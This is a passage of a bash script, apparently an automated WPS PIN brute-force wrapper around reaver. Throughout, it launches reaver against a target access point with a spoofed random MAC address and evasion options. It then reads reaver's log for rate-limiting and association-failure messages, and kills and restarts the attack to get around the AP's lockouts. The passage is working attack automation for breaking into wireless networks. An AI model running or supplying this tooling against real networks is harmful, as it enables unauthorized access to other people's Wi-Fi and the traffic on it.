REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME44-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME44-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME44-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME44-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME44-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME44-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME44-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME44-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME44-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME44-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP44 (ESSID: $NMEWARN44)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME44-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME44-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME44-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME44-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP44 (ESSID: $NMEWARN44)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME44-$DATEFILE-$PAD

                   fi


#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null



clear
	fi

################# Determine to keep file or not ###########

 if [ $KEEP_FILE44 == n ] || [ $KEEP_FILE44 == N ]; then

          rm VARMAC_LOGS/$NAME44-$DATEFILE-$PAD

			fi

################End keep file or ease #####################


###############################END USR Block################################################
###############################Start USR Block################################################

if [[ $USE_R45 == n || $USE_R45 == N ]] && [[ $USE_LONG45 == n || $USE_LONG45 == N ]] && [[ $USE_PIN45 == n || $USE_PIN45 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME45"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL45"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP45"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE45 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME45-$DATEFILE-$PAD"
echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL45 -b $TARGETAP45 -vv -x 60 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME45-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE45-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME45-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi


if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME45-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME45-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME45-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY1" ]] || [[ $line == "YYY21" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY22" ]] || [[ $line == "YYY23" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME45-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME45-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME45-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME45-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME45-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME45-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME45-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME45-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY43" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP45 (ESSID: $NMEWARN45)" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY41" ]] || [[ $line == "YYY42" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME45-$DATEFILE-$PAD


                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME45-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME45-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME45-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP45 (ESSID: $NMEWARN45)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME45-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R45 == y || $USE_R45 == Y ]] && [[ $USE_LONG45 == n || $USE_LONG45 == N ]] && [[ $USE_PIN45 == n || $USE_PIN45 == N ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME45"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL45"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP45"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX45" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY45"
echo -e "$info Reaver live time                   = $yel$LIVE45 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME45-$DATEFILE-$PAD"
echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL45 -b $TARGETAP45 -vv -x 60 -r $RX45:$RY45 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME45-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE45-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME45-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME45-$DATEFILE-$PAD

                   fi


REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME45-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME45-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME45-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME45-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME45-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME45-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME45-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME45-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME45-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME45-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP45 (ESSID: $NMEWARN45)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME45-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME45-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME45-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME45-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP45 (ESSID: $NMEWARN45)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME45-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R45 == n || $USE_R45 == N ]] && [[ $USE_LONG45 == y || $USE_LONG45 == Y ]] && [[ $USE_PIN45 == n || $USE_PIN45 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME45"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL45"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP45"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE45 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME45-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL45 -b $TARGETAP45 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME45-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE45-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME45-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME45-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME45-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME45-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME45-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME45-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME45-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME45-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME45-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME45-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME45-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME45-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP45 (ESSID: $NMEWARN45)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME45-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME45-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME45-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME45-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP45 (ESSID: $NMEWARN45)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME45-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

if [[ $USE_R45 == y || $USE_R45 == Y ]] && [[ $USE_LONG45 == y || $USE_LONG45 == Y ]] && [[ $USE_PIN45 == n || $USE_PIN45 == N ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME45"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL45"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP45"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX45" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY45"
echo -e "$info Reaver live time                   = $yel$LIVE45 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME45-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL45 -b $TARGETAP45 -r $RX45:$RY45 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME45-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE45-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME45-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME45-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME45-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME45-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME45-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME45-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME45-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME45-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME45-$DATEFILE-$PAD

                   fi


REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME45-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME45-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME45-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP45 (ESSID: $NMEWARN45)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME45-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME45-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME45-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME45-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP45 (ESSID: $NMEWARN45)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

